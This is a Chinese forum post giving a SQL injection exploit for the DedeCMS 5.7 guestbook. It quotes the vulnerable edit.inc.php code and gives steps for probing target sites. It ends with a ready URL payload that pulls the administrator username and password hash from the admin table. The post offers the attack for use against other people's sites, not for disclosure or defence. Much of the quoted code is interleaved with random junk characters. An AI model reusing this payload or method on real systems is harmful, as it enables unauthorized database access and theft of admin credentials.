找回密码
 立即注册
查看: 4672|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
! r, O" ^0 Y: r' a  {9 \5 C
8 w  ~  l5 m& q. P& M漏洞文件edit.inc.php具体代码:3 S4 Z( w/ v6 x

( z  E& I& ^1 B5 C8 @4 L0 D( ]< ?php  
: N7 q8 ~, ^9 Y. N3 {+ h0 B
- J% {7 e. \4 Y2 V0 D  Qif(!defined('DEDEINC')) exit('Request Error!');  1 }6 |* W" f; e* M) o

9 m; }2 w/ {# k; P9 Y   
! ?/ B3 u6 a. |0 W3 e7 D5 M$ d# p/ _: b& S) B
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
! p! G2 w7 F: h+ o
% X4 o0 f, _; v9 K& ^$ v! ~else $GUEST_BOOK_POS = "guestbook.php";  8 ?$ ^( }3 Q- l* b$ S: A

/ T, c# r1 T4 l( I   ; Q- Q, K2 `6 }& N7 K1 M
  t. Y" [0 ?3 @: y/ J3 Y! ]% U
$id = intval($id);  8 i* R: e" E$ H! f
* }1 `( Y& `* N/ _. K
if(empty($job)) $job='view';  " K  v2 ^8 E2 m3 T( m% c# @
/ c0 ?1 h- @# H* m9 e/ c1 J* ^2 E9 H. P
   % o9 W( U7 \/ p, ?4 O; z/ w
+ _* {& s% q+ T- M, S# h  Z
if($job=='del' && $g_isadmin)  
0 l# x& @) b3 p9 l  E5 u% q# x) e2 n
{  
, @+ L: Q4 G& P. |: q5 F
! @- M& ~: m1 {$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  0 m* r5 z2 Y( o( J3 f5 l! s, j

& `, `; ]1 \/ H' w7 w& k4 h. G4 X( v/ SShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
! x# h* _4 e4 X" t9 D$ `6 t) r& I- T/ q6 [& i; Z4 J/ l
exit();  
( c$ j. H0 w, V% [
+ [  r) W& h! s5 ?" P) \}  
% ~' Q" e( p, ~3 ^& W$ C  M7 s* G+ T6 h1 r# v4 A3 ~0 b
else if($job=='check' && $g_isadmin)  
$ l. D: h( X' p6 L
( T% p3 o1 W) L9 ]; ]{  : ^6 j- U9 R; J6 k$ G* ]
7 l1 Q1 Y9 f2 e) ]+ `* I# Q
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
' ~7 p1 J# y3 A, X* i
% r/ A. F4 ^. T. \# W6 CShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  * K# p8 z4 }2 y) f( N
& e! X7 |/ `# @" I4 p' S
exit();  
8 r1 O% h  E2 i6 G8 R6 x9 Z+ v; b" c
) C' o/ {6 v) ], s9 l1 v, c9 d# x}  
  Q* {! X% `2 x& r2 e
- u+ A% }. U) f0 X& K. Delse if($job=='editok')  # l! _: |& [# I9 H0 R, h7 Z' P
/ D: W6 s" F2 ]) ]4 K% i& r
{  6 U( o0 I: Q4 E  U2 P, D9 [8 _: d

5 l$ R; e/ L0 d' ?+ ]$remsg = trim($remsg);  
1 S3 `" r6 H( l7 A. i5 D* `0 T) S6 }+ ~$ q% N
if($remsg!='')  , I5 u. d0 M2 p& r* H

8 u( t3 M& v& ?! N{  ( v" o) y$ C. g- n7 H  e' w% _

5 K) k, l% y. v" ?4 x' _: c9 ~//管理员回复不过滤HTML By:Errorera blog:errs.cc  
3 S: z  G$ Z2 ~& e+ M1 M+ ]2 r! X# m
if($g_isadmin)  
% g, L6 s. o( u, ?5 p6 q# x5 Z; u& C0 m) [. m0 ~8 x  K( J' ^; x# D
{  
" [4 L# K7 ^) u9 J, Z+ F& s# l! I. o6 h1 V( q6 B& i& [
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  ) c- d9 t  p# C: y' \8 a
9 C$ d, H' R3 X$ u
//$remsg <br /><font color=red>管理员回复:</font> }  
$ Z  ^8 D4 \/ b( b- i- Y& l. M1 M5 [* _8 ]4 }
else
) H" F$ M& S1 ^  m6 H2 W! m* w- y
" Q9 K6 H+ D6 Z* Q. _1 R{  
# L5 h0 [' ?8 j  x" C0 }. [6 e  u* }4 {( a: @1 v( F) H9 y
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  0 Y; P% V9 f' P& Y& Z

, g, `0 ?# A) f" V1 A, R$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";    w' O8 o3 i: B! R
8 }2 V. U9 a- h( _4 r' J
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  / r' G( s6 h% a. X4 P) l( l9 b
* P8 W, q: o9 P' I; \9 \
$msg = $oldmsg.$remsg;  
/ D/ G! o/ ^1 s- `% g* V  ~/ _! e' f! P" e% r2 Z
}  
2 ?7 d; A" n7 s' E# Z
6 ?3 I5 E! I9 B( E}  ; e7 h( @5 U: d" w" N0 l: q

9 D$ H) V9 F$ g- S//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  / P& V! [, i) d" |; W$ P3 C- {$ n

) G: r" k* c+ ?6 e' n$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  7 ~7 h6 J; t. G/ h1 _( R9 S  }

( o2 i. q8 F8 XShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  : R: R* g/ o  T7 x

( v" ]/ {7 v2 e) h# J, }exit();  1 t9 s& a& H7 x" s0 a
: {7 f! K7 s  Y2 G# u* P* }+ S5 ?6 i
}  
, Q9 N: X% Q3 V: \. ~1 d2 x# g7 D1 r
//home:www.errs.cc  
( M! X7 a( g' Z/ Y( A+ |3 K& l% B/ s7 F$ x0 }6 c  S! w
if($g_isadmin)  
( H' o. Z3 S: h
7 F% d$ I. ^' h0 V- V' }{  
+ ~" A; O% O7 p- q3 ~& g8 y  F* F) _8 y9 V) K
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  * k0 Z2 o; a5 K& B

- H& N( G* ^9 m* i# \require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  ) r8 B* y% V7 s# @1 S6 ]/ D

  U+ V5 m8 e& v1 i9 c2 W3 ~}  # F+ q* A. }8 k# M1 j* H7 f7 L

, J( A5 w7 ?! r2 R% W0 h- W! Zelse
: g% S& i0 |5 [. u# Z
6 G7 k' P  m# W5 b; J9 \{  
, \( u8 a1 {4 |! D! i7 L, n
2 r) A5 B1 i; |5 S' T4 r$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  ! @1 q0 j2 H( b3 F+ }" [

9 r4 ~  Y3 b: K! z4 E4 qrequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
5 V9 z5 ]( q, s0 u% b; w  _9 |1 R% e: D' q# M# F" @/ g
} 漏洞成功需要条件:7 t. k! `7 C( A% P0 H
1. php magic_quotes_gpc=off
' ]8 M) H5 v2 L. ~; Q1 M# U2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。2 _9 B% N& y  Q6 c2 z* _0 Z

, h9 _9 j2 u  @8 ^怎么判断是否存在漏洞:
" z9 f+ F* b0 H# x% m/ E先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
( Q8 i6 U6 o( S: b( p5 x然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
$ A- M) D+ F$ V3 J0 F2 f访问:
& W# n, o* s2 R2 }  z3 {, `9 x
5 w* x( x1 f; K: B; Qwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了* O& N& X1 R! b( _/ z2 N
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证" c7 V1 q) Z. W, x
, j9 l. ~) O  G& S

5 u0 }3 n* \) J) J$ J1 T" d明漏洞无法利用应为他开启了 php magic_quotes_gpc=off4 V8 I& C- [7 h; V
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
& _1 d( P8 W! Z; s" i. w那么再次访问7 ~2 Y. O$ S. j* A/ N. W

6 C4 R% g& R) q" Y% E4 [www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
4 x  _( ~' O4 }1 {+ a3 x
. m/ t7 t( o  V: c大概利用就是这样,大家有兴趣的多研究下!!
' a  {) X# N9 K- U0 ~, b% h( z
6 {9 @) M' F1 V$ q  ]. G最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!# h) Q: y' X' q/ i+ }) Q9 n5 s- a
" h  g) F) M9 ~. r! X9 h. k/ i3 q
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表